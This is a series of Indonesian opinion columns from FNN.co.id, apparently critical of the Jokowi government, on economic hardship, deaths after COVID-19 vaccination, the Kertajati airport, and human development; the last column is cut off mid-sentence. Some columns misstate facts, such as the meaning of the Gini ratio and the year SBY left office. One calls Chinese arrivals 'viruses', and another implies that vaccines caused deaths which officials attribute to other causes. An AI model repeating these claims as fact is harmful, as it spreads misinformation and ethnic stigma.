Timur, belum lama ini terpaksa menumpahkan kemarahannya kepada petugas bank titil (Bank Perkreditan Rakyat) yang datang menagih hutang. Pemilik warung marah sejadi-jadinya, sampai-sampai penagih hutang lari ketakutan. Kalau bicara dari sisi salah-benar sesuai hukum formal, seperti yang disukai Menkopolhukam Mahfud MD kalau berkomentar, maka pemilik warung tentu dinilai sebagai pihak yang salah. Sebab telah memarahi petugas BPR. Padahal dia berkewajiban melunasi pinjaman hingga tuntas. Namun secara kondisional, bukannya soal-salah, atau tidak salah. Melainkan pemilik warung tidak punya uang untuk mengangsur pinjaman. Dagangannya pun juga tidak ada yang laku. Semisal diambil tindakan hukum pun, pemilik warung pasrah. "Awalnya kita dirayu rayu supaya mau pinjam ke BPR. Setelah pinjam, eehhh....nagihnya utang minta ampun," bentak pemilik warung, ketus. Keadaan yang menyentuh perasaan seperti itu terjadi, dan dialami masyarakat di semua tingkat lapisan. Dari ujung Sumatera sampai pucuk Papua. Boleh jadi ada yang kondisinya lebih parah lagi. Mungkin jenis persoalannya saja yang berbeda. Namun intinya sama, sulit sulit dan sulit cari duit. Masih di kota yang sama, seorang kontraktor kondang juga dalam kondisi "sekarat". Mati nggak sekalian mati, namun hidup, nggak hidup bener juga. Betapa tidak, belasan alat berat dan dum truck sebagai penopang utama usahanya masuk gadai. Sebagai jaminan hutang, dan macet. Ruwet, ribet dan mumet. Beginilah gambaran yang lebih luas tentang gelapnya perekonomian masyarakat negeri ini. Setiap kali bertemu kawan, baik di warung atau dimana saja, selalu menyampaikan keluhan seragam. Tersumbat memikirkan ekonomi rumah tangga, sebagai topiknya. Bila kontak sahabat atau saudara yang tinggal di luar kota, atau di luar pulau. Pengakuannya sama. Sulit cari duit. Tak terkecuali pegawai negeri sipil. Seorang Kepala Dinas di pemerintahan daerah menunjukkan chat WA bab kewajiban mengangsur pinjaman BPR yang telah jatuh tempo dan belum dibayar. Bayangkan sekelas Kepala Dinas diuber-uber utang. Baru di era Jokowi ini terjadi. "Mau apalagi, aku cuma bisa bilang ya nanti tak bayar," katanya. Ibarat anak ayam yang terserakh di seluruh muka bumi. Saling teriak tanpa jelas apa yang diteriakkan. Lari kesana-kemari sembari menjerit pilu, terdengar seakan beradu merdu. Terjatuh, bangkit, terinjak, berdarah darah, tumpang tindih tak karu-karuan. Semua itu berlangsung demi memperoleh sumber kehidupan. Survival lah. Agar tetap bisa bertahan hidup. Meskipun sebenarnya yang ditemui cuma ke muleg an. Sebab satu dengan lainnya tak beda jauh persoalannya. Ibarat pelanduk dicerang rimba. Mau kemana? Akan berbuat apa? Mengadu kepada siapa? Semua jalan gelap dan buntu. Rasanya, disaat ketidak-berdayaan mencapai batas, yang dimiliki cuma pasrah dan keputusasaan. Seolah telah hilang garis batas mana saudara, adik, kakak, mertua, menantu, ipar, besan, teman, musuh, kawan, lawan dan sebagainya. Semua bingung. Mulai gelap-gulita. Kepelikan ekonomi bukan dominasi kaum proletar. Kaum optimat pun merasakan hal sama. Pengusaha paling besar dan kaya pun tak luput dari badai ekonomi. Menurut kompas.com (23/06/2020), selama sepekan harta bos Grup Djarum, Robert Budi dan Michael Hartono, merosot U$ 1,3 miliar atau setara dengan Rp. 18,4 triliun. Wuuhhh....ngeri-ngeri tidak sedap kan? Menjadi logis hangusnya triliunan rupiah harta bos Djarum, bila dikaitkan dengan ulasan cnn Indonesia (05/02/21), Badan Pusat Statistik (BPS) mencatat angka pertumbuhan ekonomi RI minus -2,07 persen pada tahun lalu. Sementara, BPS dalam situsnya yang dilansir pada 15/07/2020 mengumumkan bahwa indeks gini rasio pada Maret 2020 sebesar 0,381. Jika angka koefisien yang digunakan sebagai alat ukur gini rasio adalah antara 0 (sangat kaya raya/ amat sangat hidup) sampai 1 (mati), maka angka gini rasio tersebut (0,381) berada nyaris diantara hidup dan mati. Padahal, masih ingat janji Jokowi saat kampanye Pilpres 2014 lalu. Dia bilang, “akan menggenjot pertumbuhan ekonomi di angka 7%”. Janji yang sama diulang lagi Jokowi di kampanye Pilpres berikutnya (2019), juga 7%. Apakah Jokowi sanggup buktikan ucapannya 7%? Alih-alih 7%. Malah hancur di angka minus -2,07%. Padahal, sepeninggal SBY dari kursi presiden 20 Oktober 2024, angka pertumbuhan ekonomi masih lumayan 6%. Seumpama angka nilai rapor sekolah masih tergolong naik kelas. Melihat kenyataan ini, para buzzer dan gobloger melakukan advokasi dengan mengatakan hancurnya ekonomi sebagai dampak dari Covid-19. Nah, virus jadi wedus ireng. Padahal, sebelum kehadiran virus dari cina tersebut pertumbuhan ekonomi selama dipimpin Jokowi tak lepas dari angka 5 persen. Jadi, perekonomian negara ini bukan soal virusnya, melainkan Jokowinya. Lagi pula, secara global Covid-19 meletus dari Wuhan Cina, pada akhir Desember 2019 (jika tidak salah 23 Desember). Hampir semua negara di belahan dunia telah terpandemi virus haram tersebut. Meski semua negara telah tercemar, kala itu Indonesia masih aman. Celakanya, diwaktu negara ini masih aman, lha kok pemerintah malah memasukkan ribuan warga asing dari Cina. Lebih sinting lagi "virus" tersebut didominasi berasal dari negara produsen Covid-19. Wuhhh... ini namanya ngeri-ngeri kurang ajar. Karena Indonesia ini ibarat negara seribu pintu, maka ribuan "virus" tersebut bisa leluasa masuk melalui Sulawesi, Papua, Bali, Semarang, Surabaya, Halmahera serta pintu-pintu lainnya. Walhasil, pemerintah hingga lebih setahun bingung menangani Covid-19. Berbagai cara dilakukan. Masyarakat malah lebih dari sekedar bingung, yakni entah nggak bisa lagi mikir. Lantas pemerintah mengeluarkan kebijakan tutup pintu masuk warga asing. Tetapi sudah terlambat. Ibarat sebuah kampung lagi musim maling, malingnya sudah masuk rumah, baru pintunya ditutup. Ini kan seperti epilog komedian di panggung tonil hiburan. Ketawa ampe mencret. Soal kebutuhan rasa aman, nyaman, tenang, tenteram pun menjadi sesuatu yang mahal sekarang ini. Bayangkan, ekonom sekelas Kwik Kian Gie sampai menyatakan keluhannya, "Saya belum pernah setakut saat ini mengemukakan pendapat yang berbeda dengan maksud baik memberikan alternative". Kwik menyambung, "(Pada) zaman Pak Harto yang otoriter saja, saya diberi kolom sangat longgar oleh Kompas. Kritik kritik tajam. Tidak sekalipun ada masalah". (Pikiran Rakyat, 06/02/2021). Sebenranya, masih banyak permasalahan berbangsa dan bernegara yang ingin dituliskan disini. Namun, saking banyaknya permasalahan sosial kemasyarakatan sampai bingung mengingat ingatnya. Sejak Orde Baru berkuasa, belom bangsa Indonesia sesulit ini di bidang ekonomi. Pecinta FNN yang budiman. Media digital, escort the state goal di penjuru dunia. Tumpukan campur aduk permasalahan, baik ekonomi, hukum, sosial, budaya, keamanan serta deretan aspek hidup lainnya secara umum dapat membuat kebingungan. Yah, laksana anak ayam yang kehilangan induknya. Atau pelanduk di cerang rimba. Penulis adalah Wartawan FNN.co.id.

Secara Yuridis Kematian Pasca Vaksin Bisa Digugat

by Mochamad Toha Surabaya, FNN - Kabar duka datang dari Kabid Humas Polda Maluku Kombes Pol. Muhammad Roem Ohoirat yang membenarkan informasi mengenai salah satu komandan kompi di satuan Brimob Polda Maluku, yakni Iptu LT meninggal dunia pada Minggu 4 April 2021. Iptu LT meninggal dunia usai divaksin AstraZeneca. “Benar, almarhum meninggal dunia. Almarhum meninggal setelah divaksin pada tanggal 30 Maret 2021, namun pada tanggal 31 meriang dan sesak napas,” ujar Roem. Roem mengatakan, setelah mengalami gejala tersebut, Iptu LT diantar istrinya ke rumah sakit namun saat diperiksa dokter tidak ada penyakit yang menyebabkan korban mengalami gejala seperti itu. Akhirnya, Iptu LT diberi obat. Setelah itu beraktivitas seperti biasa. Tidak lama dari situ, Iptu LT mengalami gejala sesak napas hingga meninggal dunia. Roem belum bisa menjelaskan apakah meninggalnya karena divaksin atau tidak. Setelah dinyatakan meninggal, tim Satgas Covid1-9 melakukan pemeriksaan terhadap jenazah Iptu LT. Dari sana didapatkan ternyata Iptu LT positif Covid-19. Melansir VIVA.co.id, Minggu (4 April 2021 | 18:16 WIB), menurut Roem, pihaknya tak tahu apakah sebelumnya almarhum sudah positif lalu divaksin atau bagaimana. Akhirnya jenazah Iptu LT langsung dimakamkan dengan protokol Covid-19. Dokter masih menelusuri riwayat penyakit Iptu LT. Roem belum bisa sepenuhnya menyebut, korban menginggal akibat divaksin. “Yang jelas kita tidak bisa katakan itu meninggal karena divaksin,” ujarnya. Sebelumnya, kasus serupa menimpa Sulaiman Daeng Tika (50). Warga Kabupaten Takalar, Sulawesi Selatan ini meninggal dunia di RS Haji Kota Makassar, Senin (22/3/2021) malam. Seminggu atau tujuh hari sebelumnya, ia sempat disuntik vaksin Sinovac tahap pertama. Daeng Tika dibawa ke RS karena demam tinggi dan nyeri di seluruh persendian. Namun, ia tak tertolong meski telah mendapat penanganan. Di rumah duka Desa Batu-Batu, Kecamatan Galesong Utara, Kabupaten Takalar, suasana kesedihan tampak dirasakan keluarga almarhum. Mereka tak menyangka, almarhum yang sebelumnya sehat, tiba-tiba mengeluh sakit dan meninggal dunia. “Bapak sebelumnya sehat-sehat aja, gak punya sakit kronis atau sakit-sakitan,” ujar Mahmud, anak almarhum, Selasa (23/3/2021). Mahmud menceritakan, ayahnya divaksin pada 15 Maret silam di tempat kerjanya. Beberapa hari kemudian mengeluh sakit, tapi tetap masuk kerja. Dua hari setelah vaksin kemudian ada gejala panas tinggi. Demam dan nyeri seluruh badannya. Peristiwa serupa terjadi di Banyumas, Jawa Tengah. Salah satu lansia merupakan wanita yang sudah menjalani vaksinasi Covid-19 pada Senin, 8 Maret 2021. Perempuan berusia 75 tahun itu divaksin pada Senin, 8 Maret 2021. Hari itu ada 2.500 lansia yang mendapatkan vaksinasi Covid-19. Menurut Bupati Banyumas Achmad Husein, lansia tersebut sudah lolos skrining, sehingga dia dinilai layak mendapatkan vaksinasi Covid-19. Namun beberapa jam kemudian setelah lansia itu kembali ke rumah sekitar pukul 11.30 WIB, tak lama sore harinya pukul 17.00 WIB dia jatuh terduduk di lantai dan dibawa ke RS hingga akhirnya dinyatakan meninggal dunia. Kejadian tersebut membuat Ketua Komnas Kejadian Ikutan Pasca Imunisasi (KIPI) Hindra Irawan Satari buka suara. Hendra menyebut, kedua lansia tersebut meninggal bukan karena vaksinasi Covid-19. “Penyebab meninggal bukan disebabkan vaksinasi Covid-19,” ujar Hindra kepada Merdeka.com, Senin, 15 Maret 2021. Kasus ini diungkap kembali oleh Bupati Husein kepada wartawan di Purwokerto, Kabupaten Banyumas, Selasa, 9 April 2021. Di Kabupaten Cilacap, Jateng, seorang nakes diketahui meninggal dunia usai beberapa hari divaksin Covid-19. Nakes itu meninggal, Jumat (5/2/2021) sekitar pukul 07.00 WIB. Tapi, Kepala Dinkes Cilacap dr Pramesti Griana Dewi mengatakan, nakes berjenis kelamin laki-laki itu meninggal bukan karena disuntik vaksin Covid-19, melainkan demam berdarah. “Dokter penanggung jawabnya menyatakan, nakes itu meninggal akibat Dengue Shock Syndrome (DSS) atau demam berdarah,” kata dr Pramesti Griana Dewi seperti dilansir Hestek.id, Sabtu (2021-02-06,15:34).Ia membenarkan jika sang nakes sempat menjalani vaksinasi Covid-19 di RSUD Cilacap, tempatnya bertugas, 27 Januari 2021. Kondisi nakes, disebut Pramesti tak mengalami efek dari vaksin dan bekerja seperti biasa. Bahkan, nakes itu juga bertugas merujuk pasien ke RSUD Sardjito Jogjakarta. “Sepulang dari Jogjakarta, badannya nggreges dan Minggu (31/1/2021) yang bersangkutan izin tidak masuk kerja,” paparnya. Kemudian Rabu (3/2/2021) yang bersangkutan masuk IGD RSUD Cilacap karena lemas dan BAB berwarna hitam. Saat itu juga langsung masuk ICU, trombositnya jauh di bawah normal dan langsung dilakukan transfusi trombosit. Nakes tersebut meninggal, Jumat (5/2/2021) sekitar pukul 07.00 WIB. Kasus serupa menimpa Direktur Pascasarjana STIK Tamalatea Makassar dan juga Bendahara Perhimpunan Sarjana dan Profesional Kesehatan Masyarakat Dr Eha Soemantri SKM, MKes. Eha meninggal di ICU RS Wahidin Sudiro Husodo, setelah salat subuh. Kabar yang beredar, sebelumnya Eha dirawat karena terinfeksi Covid-19. Eha sendiri sebelumnya sudah divaksin. Namanya masuk dalam penerima vaksin pertama di Sulsel, 14 Januari 2021. Pada 28 Januari 2021, Eha menerima vaksinasi tahap dua di RSKD Dadi. Eha juga sempat membagikan testimoninya. Setelah divaksin beberapa waktu lalu. Ia mengimbau masyarakat untuk tak takut divaksinasi. “Saya telah mendapatkan suntik vaksin tanggal 14 Januari setelah pencanangan vaksinasi Covid-19 oleh Pak Gubernur,” ujarnya dalam video testimoni tersebut. Setelah divaksin Eha mengaku tidak mengalami keluhan apa-apa. Ini salah satu bukti yang menunjukkan bahwa vaksin Covid-19 aman. Kepada masyarakat, ia mengajak mensukseskan pemberian vaksin ini, sebagai ikhtiar kita agar terlindungi dari virus covid-19. Dokter Tifauzia Tyassuma mengatakan, dua orang senior dan gurunya wafat pasca suntikan pertama vaksin. Begitu suntik ke-1 langsung masuk ICU dan saturasi oksigen 60%. “Ngga ada satupun Dokter yang boleh bilang kalau beliau berdua kena KIPVI,” ujarnya. Keduanya Lansia dengan Comorbid. Menurutnya, kalau disebutkan Institusi mana pasti ia di-bully lagi lahir bathin. Dan semua bungkam diam seribu bahasa. Sebetulmya ini adalah tamparan bagi Seluruh Dokter di Indonesia. “Ayo dong bicaralah jujur sesuai hati nurani Anda semua. Saya tidak mau memusuhi kalian dan apalagi dimusuhi kalian. Saya cinta kalian semua dan sangat mengkhawatirkan keadaan ini,” pesan Medical Scientist, Pakar dan Praktisi Nutrisi ini. Sayangnya, kasus-kasus kematian dokter dan nakes lainnya yang terjadi di Indonesia paska vaksinasi Covid-19, selalu dijawab dengan dalih “bukan KIPI”. Mungkinkah kasus-kasus kematian pasca vaksinasi ini bisa dilakukan gugatan terhadap Pemerintah? Menurut Advokat Subagyo, gugatan pada Pemerintah terkait kematian pasca vaksinasi bisa saja dilakukan. “Asalkan ada keterangan ahli yang menerangkan bahwa itu termasuk kesalahan,” katanya. Apakah otopsi masih perlu dilakukan atas jazadnya? Otopsi itu kalau ada proses pidananya. Jadi, pertama harus menanyakan kepada ahli kesehatan dulu. Hukum akan mengikuti fakta. Jika fakta itu menurut ahli adalah malpraktik, maka hukum baru bisa bertindak. Kesalahan atau malpraktik ini apa termasuk jika menurut aturan, yang punya komorbid itu tidak bolah divaksin, tetapi tetap saja divaksin, sehingga menyebabkan kematian? “Ya bisa seperti itu. Yang penting ada analisis ahli tentang risiko, seberapa besar risikonya,” ujarnya. Pernyataan senada disampaikan Advokat Sumarso. Bisa digugat, tapi metodanya Citizen Lawsuit. “Gugatan oleh warga negara. Hanya saja, proses pembuktiannya harus akurat. Nda gampang juga untuk otopsi. Yang bisa minta otopsi hanya penyidik, kecuali kasus pembunuhan,” katanya. Penulis adalah Wartawan Senior FNN.co.id.

Tumbal Ambisi, Bandara Kertajati Beralih Fungsi

PLINTAT -plintut tak hanya menyerang makhluk bernyawa. Benda mati pun bisa terpapar pandemi "esuk dhele sore tempe", sebuah perumpamaan Jawa yang mendeskripsikan sikap tak konsisten dan semaunya. Wabah itu kini menimpa Bandara Kertajati di Majalengka, Jawa Barat. Bandara yang dibangga-banggakan sebagai Airport Kelas Wahid setelah Bandara Soetta itu kini berubah fungsi sebagai tempat penampungan pesawat rusak alias bengkel. Di tempat ini kelak berbagai aktivitas seperti mencopot baut, mengelas besi, menambal ban, dan mengecat body akan menggeliat. Tak ada lagi lalu lalang turis lokal maupun internasional seperti yang diimpikan sebelumnya. Yang ada hanya para pekerja berlumuran oli yang sigap memperbaiki pesawat bekas. Tumpukan besi tua berkarat juga akan tampak di sudut-sudut yang lain Bandara terluas di Indonesia itu. Alih fungsi Bandara yang digadang-gadang sebagai bandara termegah di Asia itu diputuskan menjadi bengkel oleh Presiden Jokowi dalam Rapat Terbatas di Istana Negara Senin (29/03/2021) yang dihadiri Menhub Budi Karya Sumadi dan Gubernur Jawa Barat Ridwan Kamil. Pemerintah menyatakan Bandara Kertajati akan menjadi tempat Maintenance, Repair, Overhaul (MRO) alias bengkel pesawat. Presiden meminta agar PTDI dan PT Pindad dipindahkan juga ke kawasan Aero City Kertajati. Selanjutnya kawasan PTDI dan PT Pindad di Bandung bisa diubah menjadi daerah pariwisata. Keputusan ini diambil lantaran sejak diresmikan, lapangan terbang ini cenderung sepi peminat, khususnya untuk penerbangan komersil. Maskapai terakhir yang bertahan beroperasi di Kertajati, adalah Citilink. Secara kumulatif antara Januari-September 2020 jumlah penumpang Bandara Kertajati hanya 42.400 orang atau 26,41 persen dari total penumpang domestik Jawa Barat. Bahkan pada bulan Agustus – September 2020, taka da satu pun peunmang di Bandara Kertajati. Ada sedikit keramaian yang menarik perhatian publik yakni banyaknya calon-calon pengantin baru yang memanfaatkan sepinya bandara. Mereka mengambil foto prewedding di lokasi yang luasnya mencapai 1.800 Ha tersebut. Ibarat bunga, Bandara Kertajati layu sebelum berkembang. Padahal, ide dan gagasannya sudah ditelorkan sejak 15 tahun lalu era Presiden Megawati, dimatangkan era SBY, dan diresmikan pada era Jokowi. Peresmiannya cukup meriah dan heroik. Wajah-wajah penuh optimistis menghiasai tamu undangan yang memenuhi upacara seremonial di pelataran Kertajati. Disambut tradisi water salute, pesawat Kepresidenan yang ditumpangi Presiden Joko Widodo mendarat di Bandara Internasional Jawa Barat Kertajati, Kamis (24/05/2018). Pendaratan perdana pesawat Kepresidenan ini sekaligus menandai beroperasinya Bandara kebanggaan masyarakat Jawa Barat tersebut. Saking girangnya Jokowi datang lebih awal 1 jam, yakni pukul 09.27 yang seharusnya pukul 10.30 WIB. Kedatangan Jokowi disambut dengan meriah sekaligus ditunjukkannya historical landing oleh Maskapai Garuda Indonesia dan Batik Air dengan penumpang VVIP sebagai pertanda operasional Bandara Internasional Kertajati dimulai. Momen itu juga menunjukkan Bandara ini telah mengantongi izin penerbangan internasional. Proses kelahiran Bandara ini cukup menyita waktu. Sejak 15 tahun sebelumnya sudah diwacanakan. Lalu dimulai pembangunan pada 2014 dengan pembangunan runway (landas pacu) sepanjang 2.500 meter x 60 meter dan paralel taxiway sepanjang 2.750 meter x 25 meter yang sudah selesai dibangun pada akhir 2017. Landas pacu kemudian dipanjangkan hingga 3.200 meter x 60 meter agar bisa melayani operasional pesawat sipil terbesar di dunia seperti Airbus A380, Boeing B 747, maupun B 777. Bandara ini memiliki kapasitas 5 juta penumpang per tahun serta bisa dikembangkan menjadi sekitar 29,3 juta penumpang per tahun. Namun semua itu sirna lantaran sepinya penumpang. Selain itu, Bandara Kertajati mempunyai apron seluas 397.890 meter persegi yang dapat menampung 10 parking stand pesawat jet narrow body. Nama Bandara Kertajati sendiri sempat mau diubah menjadi Bandara BJ Habibie, namun batal. Bandara Kertajati adalah korban kebijakan ambisius tanpa memikirkan dampak dan kelanjutannya. Yang terjadi adalah tambal sulam kebijakan untuk menutupi kegagalan pembangunan yang nyata. Alih fungsi Bandara menjadi tempat service pesawat bobrok merupakan bukti minimnya perencanaan proyek infrastruktur pemerintah. Ia menjadi korban ambisius program pencitraan sang presiden. Hasrat untuk meraih predikat Bapak Infrastruktur, tak semulus yang dibayangkan. Dana pembangunan yang mencapai Rp 2,6 triliun bukan jumlah yang sedikit. Uang sebanyak itu jika disalurkan untuk membantu UMKM jelas sangat bermanfaat. Pedagang mangga Indramayu akan terbantu, penjual jeruk nipis Kuningan akan senang, dan perajin Jalakotek Majalengka akan bahagia. Keraguan akan suksesnya Bandara ini sebetulnya pernah disentil oleh Menteri Perhubungan Ignasius Jonan. Saat itu, Jonan sempat menolak untuk melanjutkan pembangunannya. Tapi kemudian dipaksakan oleh Menhub yang baru, Budi Karya Sumadi. Tak hanya Jonan, pengamat kebijakan publik Agus Pambagyo juga pernah mengingatkan agar pemerintah berpikir ulang tentang pembangunan bandara ini. Kata Agus, Kertajati jauh dari mana-mana, nggak cocok dijadikan bandara. Jarak Bandung-Kertajati sekitar 100 kilometer atau kurang lebih 2 jam perjalanan, mereka lebih memilih ke Bandara Soetta di Cengkareng. Agus menyatakan Bandara Kertajati adalah contoh infrastruktur yang dibangun dengan unsur politis yang lebih kental dibanding unsur studi kelayakannya. Adapun keinginan pemerintah untuk tetap melayani penumpang, kargo, dan jamaah umrah serta haji di samping bengkel, menurut Agus, semua rencana itu tidak ada yang berprospek bagus. “Membuat MRO harus ada lisence pabrikan, memangnya bikin pabrik bajaj. Lalu yang kedua, siapa yang mau modalin jadi MRO? Jadi pabrik (kue) klepon saja mahal saat ini. Lalu pesawat mana yang mau ke MRO di Kertajati? Boeing, Airbus, dan lain-lain pasti menolak secara ekonomis," ujar Agus. (SWS)

Stagnasi Pembangunan Manusia Indonesia dan Pengkhianatan Kaum Intelektual

by Abdurrahman Syebubakar Jakarta, FNN - Dalam pidato 14 Juli 2019 di Sentul, Jawa Barat, Presiden Jokowi menyampaikan Visi Indonesia 2020-2024, yang diklaim mengandung perubahan paradigma, model, cara dan nilai baru. Pembangunan sumber daya manusia (SDM) menjadi salah satu di antara lima sasaran prioritas dalam visi tersebut. Pidato kenegaraan Presiden Jokowi menyambut HUT ke-74 RI juga sesak dengan pesan tentang maha pentingnya pembangunan SDM. Moto “SDM Unggul, Indonesia Maju” menjadi tagline peringatan HUT RI tahun 2019. Pada 2020, di tengah situasi multi krisis akibat akumulasi masalah di periode pertama dan pandemi Covid-19, peringatan HUT ke-75 Kemerdekaan Indonesia masih mengambil tema besar “Indonesia Maju”. Sepintas, tidak ada yang aneh dengan moto dan tekad Presiden Jokowi. “Membangun SDM” merupakan salah satu kunci dalam setiap tahapan pembangunan untuk meraih kemajuan dan kemakmuran bangsa. SDM yang unggul juga menjadi pilar utama persaingan antar negara di kancah global. Segenap komponen bangsa termasuk para cendekiawan menyambut dengan antusias tekad untuk membangun manusia Indonesia. “Mahabenar menjadikan pembangunan manusia pusat perhatian” tulis Yudi Latif dalam kolom Opini Kompas, Agustus 2019. Namun, tidak disadari terselip kekeliruan paradigma yang sangat mendasar dalam visi Presiden Jokowi. Pembangunan SDM (human resource development) dipertukarkan secara literal dengan pembangunan manusia (human development). Dengan kata lain, visi Presiden Jokowi gagal memahami perbedaan antara pembangunan SDM dan pembangunan manusia. Pembangunan Manusia vs SDM Kendati saling terkait dan beririsan pada tataran praksis, pembangunan SDM dan pembangunan manusia, secara paradigmatik, berbeda. Pembangunan SDM memandang manusia sebagai faktor produksi semata dan bertujuan memaksimalkan produktivitas (maximizing human productivity). Indikatornya kecerdasan instrumental dan keterampilan teknis yang bermuara pada produktifitas tenaga kerja. Di samping itu, motif dan orientasinya bersifat ekonomistik utilitarian. Dengan demikian, pembangunan SDM berjarak cukup jauh dari motivasi kecerdasan dan keberdayaan politik yang berlandaskan rasionalitas substantif (substantive rationality) untuk menembus perkara pokok pembangunan. Mulai dari isu demokrasi substansial, lingkungan dan pembangunan berkelanjutan, kemiskinan, kerentanan dan ketimpangan, sistem ekonomi politik dan kepemimpinan, rule of law, hingga oligarki dan korupsi dengan segala daya rusaknya. Rasionalitas substantif inilah yang mendorong lahirnya kebijakan dan kebajikan publik (public virtue) yang bervisi jangka panjang, memberdayakan dan berkeadilan bagi semua, terutama rakyat marjinal dan lapisan bawah. Sementara, pembangunan manusia menempatkan manusia sebagai titik sentral pembangunan. Tujuannya, seperti yang diformulasikan Mahbub ul-Haq (1990), menciptakan lingkungan yang memungkinkan bagi rakyat untuk menikmati kehidupan yang panjang, sehat, berilmu pengetahuan dan kreatif. Amartya Sen (1999), rekan ul-Haq, yang meletakkan landasan konseptual pembangunan manusia mendefinisikan pembangunan sebagai kebebasan (development as freedom). Bagi Sen, “kebebasan” tidak saja menjadi tujuan utama pembangunan, tetapi juga merupakan sarana penting untuk mencapai tujuan-tujuan lainnya. Perbedaan pembangunan SDM dan pembangunan manusia mensyaratkan strategi, pilihan kebijakan, pendekatan dan langkah langkah berbeda. Hasilnya pun berbeda, bahkan bisa berbanding terbalik secara diametral jika penekanan strategi dan pilihan kebijakan tertukar diantara keduanya. Kegagalan memahami kedua pendekatan ini, tercermin dalam pilihan sistem dan kebijakan negara yang jauh dari semangat pemberdayaan dan pembebasan (empowerment and liberation) di berbagai bidang - ekonomi, politik, hukum, pendidikan, lingkungan dlsb. Agenda pembangunan neo-liberal yang berorientasi pada pertumbuhan ekonomi dan infrastruktur fisik di bawah kendali para oligark, makin mendominasi. Sementara, sektor-sektor lain tersubordinasi kedua agenda ekstraktif ini. Sistem dan kebijakan pendidikan, misalnya, mengabaikan materi berpikir kritis (critical thinking) dan pembangunan karakter (character building). Namun, lebih diarahkan untuk mencetak SDM sebagai faktor produksi – subordinat pertumbuhan ekonomi. Sekadar menjadi manusia robot (pelaksana) dari kepentingan relasi antara penguasa dan pengusaha. Pengkhianatan Intelektual Dus, alih-alih menjadi produsen pengetahuan dan katalis perubahan, kaum terdidik Indonesia jutsru berperan sebagai corong kekuasaan dan modal. Meminjam tesis Noam Chomsky (1967, 2016) tentang tanggung jawab intelektual, kaum terdidik ini berada di barisan intelektual konformis, atau intelektual tradisional versi Antonio Gramsci (1971). Intelektual antek penguasa yang mengabaikan, bahkan merasionalisasi, kejahatan negara. Kiprah mereka, jauh dari nubuah Julien Benda, dalam karya klasiknya “The Treason of the Intellectuals” atau Edward Said dalam “Representations of the Intellectual” (1996), bahwa kaum intelektual memiliki sifat altruistik yang senantiasa memburu kebenaran demi kemaslahatan bersama, dan menjadi pencipta bahasa dalam menyampaikan yang benar kepada penguasa, dengan berpegang teguh pada prinsip-prinsip kemanusiaan dan keadilan. Dosa terbesar seorang intelektual tidak dilihat dari kesalahannya, tetapi dari ketakutan dan kebohongannya dalam menyampaikan kebenaran. Jalan ketiga peran intelektual yang ditawarkan mendiang Cornelis Lay, dalam pidato pengukuhannya sebagai guru besar ilmu politik UGM (Februari 2019), dimana intelektual bisa keluar masuk kekuasaan berdasarkan penilaian matang dan menyeluruh, jauh panggang dari api. Tawaran ini memiliki pijakan teoritik yang lemah, jika tidak dikatakan rapuh, dan berjarak cukup jauh dari realitas. Faktanya, terlalu banyak kaum intelektual yang terjerat nikmat dan empuknya jabatan hadiah dari penguasa. Hadiah jabatan, entah posisi di pemerintahan, perguruan tinggi, BUMN, atau jabatan penting di perusahan-perusahan swasta penyokong kekuasaan. Seketika atau lambat-laun para intelektual ini berputar haluan, dari pola pikir dan sikap kritis, menuju fatalisme dan sikap permisif (serba memaklumi). Bahkan, berdiri di barisan terdepan membela semua kebijakan negara, dan kemudian sepenuhnya menjadi antek kekuasaan. Bagi mereka, “the king can do no wrong, no matter what!” Pada saat yang sama, tidak sedikit kaum intelektual di lingkungan perguruan tinggi, lembaga think-tank/riset dan kelompok masyarakat sipil, yang belum mendapat jabatan dan uang, berlomba lomba memuji dan membela agenda kekuasaan. Tidak peduli apakah agenda kekuasaan masuk akal atau tidak, merugikan rakyat banyak atau sebaliknya. Sebagian bertindak sebagai pollster atau industrialis survei, merangkap buzzerrp, yang dibayar dari uang rakyat atau dimodali para taipan. Dengan kata lain, kaum intelektual ini bertindak sebagai antek penguasa, bahkan ketika mereka berada di luar status quo kekuasaan. Sementara, segelintir intelektual, yang tidak mau mengompromikan idealisme politik dan tanggungjawab moralnya demi uang dan jabatan, seringkali harus tersingkir dengan sendirinya. Terkadang mereka dipersekusi dan dikriminalisasi tangan-tangan kekuasaan. Seperti yang dialami oleh sedikit kaum intelektual yang konsisten menjadi “manusia merdeka” dan bersuara kritis dari luar kekuasaan, terlepas dari siapapun yang berkuasa. Tipe intelektual ini memainkan peran “intelektual organik” nya Gramsci atau “intelektual berbasis nilai” ala Chomsky. Stagnasi IPM & Kemerosotan Dengan pemahaman keliru tentang pembangunan manusia, diikuti kebijakan tidak tepat, serta absennya peran organik dan transformatif kaum intelektual, sulit dihindari terjadinya stagnasi pertumbuhan indeks pembangunan manusia (IPM) Indonesia. Meskipun bergabung dalam IPM kategori tinggi, Indonesia masih berada di tangga-bawah kategori ini. Merujuk Laporan Pembangunan Manusia 2020 oleh UNDP, dengan nilai IPM 0.718, bersama Filipina dan Bolivia, Indonesia berada di peringkat 107, dari 189 negara. Tertinggal jauh dari Thailand (ranking 79), dan tiga negara anggota ASEAN yang masuk dalam kelompok IPM sangat tinggi, yaitu Singapore, Brunei Darussalam dan Malaysia. IPM Indonesia juga jauh lebih rendah dari rerata IPM kawasan Asia-Timur dan Pasifik, yang mencapai 0.747. IPM merupakan gabungan indikator penting untuk mengukur tingkat kualitas hidup manusia, yang dibentuk tiga dimensi dasar, yaitu umur panjang dan hidup sehat (a long and healthy life), pengetahuan (knowledge), dan standar hidup layak (decent standard of living). Perlu digarisbawahi, IPM beserta indeks turunannya seperti indeks pembangunan gender, indeks ketimpangan gender, dan indeks kemiskinan multidimensi, hanya penggalan dari keseluruhan “cerita” pembangunan manusia. Dirancang untuk menyederhanakan konsep besar pembangunan manusia dan memastikan aplikabilitasnya sebagai panduan, target dan instrumen monev pembangunan. Di luar IPM, namun, masih dalam kerangka pembangunan manusia, Indonesia mengalami kemerosotan di berbagai bidang, mulai dari meluasnya korupsi, ketimpangan yang makin dalam, anjloknya tingkat kebahagian, demokrasi yang dibajak oligarki dan otoritarianisme, penegakan hukum diskriminatif, hingga menguatnya feodalisme dan dinasti politik, serta ketegangan sosial. Menyebabkan negara besar ini tertinggal dari negara-negara miskin seperti Etiopia dalam indeks persepsi korupsi dan keberlanjutan pangan, dan Timor Leste dalam indeks demokrasi dan kebebasan. Sekarang, Indonesia tidak saja kehilangan jejak untuk kembali ke cita-cita reformasi, jalan yang dipilih atas pengorbanan mahasiswa dan segenap elemen bangsa. Tapi, kompas negara ini telah jauh melenceng dari amanat Pancasila dan konstitusi. Saya akhiri tulisan ini dengan mengutip hasil riset Ahmet 